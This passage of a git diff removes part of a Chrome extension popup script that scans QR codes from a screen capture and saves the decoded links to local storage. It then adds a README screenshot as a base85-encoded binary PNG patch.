linkButton.appendChild(deleteIcon); - linkList.appendChild(linkButton); // Append the link button to the link list -} - -function saveLinks(links) { - chrome.storage.local.set({ savedLinks: links }, () => { - console.log('Links saved:', links); - }); -} - - -document.addEventListener('DOMContentLoaded', () => { - const scanButton = document.getElementById("scan"); - loadLinks(); // Load links when the popup is opened - - if (scanButton) { - scanButton.addEventListener("click", () => { - chrome.runtime.sendMessage({ action: "captureScreen" }, async (response) => { - if (response && response.dataUrl) { - const url = response.dataUrl; - const qrCodeData = await decodeQRCode(url); - - if (qrCodeData) { - let resultText = `QR Code Data: ${qrCodeData}`; - document.getElementById("result").innerHTML = resultText; - - // Checking for protocol and adding http:// if it's missing - let finalUrl = qrCodeData; // Creating a new variable for the final URL - if (!/^https?:\/\//i.test(finalUrl)) { - finalUrl = 'http://' + finalUrl; // Adding http:// if the protocol is absent - } - // Save the new link to storage - chrome.storage.local.get('savedLinks', (data) => { - const links = data.savedLinks || []; - links.push(finalUrl); - saveLinks(links); // Save updated links - loadLinks(); // Reload the links - }); - } else { - const resultText = "QR Code not found!"; - document.getElementById("result").innerHTML = resultText; - } - } - }); - }); - } -}); \ No newline at end of file diff --git a/readme_imgs/popup-dark.png b/readme_imgs/popup-dark.png new file mode 100644 index 0000000000000000000000000000000000000000..f6ba9fb974c1397562300fabe81bb7f1de7cfc65 GIT binary patch literal 41505 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 